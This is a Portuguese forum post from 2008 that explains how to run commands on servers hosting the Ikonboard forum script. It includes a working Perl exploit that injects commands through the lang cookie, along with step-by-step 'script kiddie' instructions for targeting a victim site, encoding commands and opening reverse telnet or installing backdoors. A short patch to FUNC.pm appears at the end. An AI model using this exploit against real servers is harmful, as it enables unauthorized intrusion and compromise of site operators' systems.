jukilo Ranking
Mensagens : 624 Data de inscrição : 01/03/2008
| Assunto: Invadindo sites com Ikonboard Penetration Tests. Sex Jul 04, 2008 3:14 pm | |
| Invadindo sites com Ikonboard Penetration Tests. Executar comandos em servidores que rodam todas as mais novas versões do Ikonboard, script de fórum, é trivialmente fácil, como descobriu Nick Cleaton lá em meados de abril.
Por incrível que pareça, a equipe de desenvolvimento não deu a mínima para essa descoberta. Tanto que a falha foi vista na versão 3.1.1 e foram lançadas a versão 3.1.2 e a 3.1.2a sem correção para este problema.
Irresponsabilidade da equipe e ingenuidade dos usuários, que jamais imaginariam uma versão nova que não corrigisse problemas tão graves quanto esse.
O resultado é que um script kiddie pode (e efetivamente o faz, como alguns viram aqui no ISTF) usar esta receita de bolo:
1. Vá em http://www.securityfocus.com/bid/7361 (ou, se preferir, faça uma pesquisa no Google por "ikonboard security")
2. Se não quiser ler a explicação do problema, não precisa. script kiddie não precisa aprender nada. Copie e cole o seguinte trecho no seu editor de texto preferido:
Exemplo código | #!/usr/bin/perl -w use strict;
my $HOST = 'www.example.com'; my $PORT = 80; my $PATH = '/cgi-bin/ikonboard.cgi';
use IO::Socket;
my $sock = IO::Socket::INET->new("$HOST:$PORT") or die "connect: $!";
$sock->print( "GET $PATH HTTP/1.1\r\n", "Host: $HOST\r\n", "Cookie: lang=%2E%00%22\r\n", "Connection: close\r\n", "\r\n" ) or die "write: $!";
print while <$sock>; [/quote]
3. Altere as primeiras variáveis para o site da vítima.
4. Agora observe a linha 16, onde começa com "Cookie: lang=". É depois do igual que você vai colocar seus comandos.
5. Você vai precisar codificar os comandos. Use alguma coisa desse tipo: http://www.simplelogic.com/Developer/InetEncode.asp (use o resultado path). Use o caracter ` no início e no final do comando, pois isto é passado para um "eval" do perl. Coloque ainda o caracter null (%00) no final de toda a string.
A partir deste ponto é questão de tentativa e erro. Vc pode tentar abrir um telnet reverso, listar arquivos ou até mesmo baixar e compilar algum backdoor. Mas vc vai estar limitado ao comandos permitidos pelo usuário web que está rodando o script.
Nada que algumas horinhas sem nada melhor para fazer da sua vida não resolva...
Para resolver é ainda mais simples: abra o Sources/Lib/FUNC.pm e altere as linhas
104: $sid =~ s/^(\d+)$/$1/;
para: $sid =~ s/^(\d+)$/$1/ or die 'invalid sid value';
192: $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/;
para: $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/ or die 'invalid lang cookie value';
Vlw | |
| | | | Invadindo sites com Ikonboard Penetration Tests. | |
|
Tópicos semelhantes | |
|
| Permissões neste sub-fórum | Não podes responder a tópicos
| |
| |
| |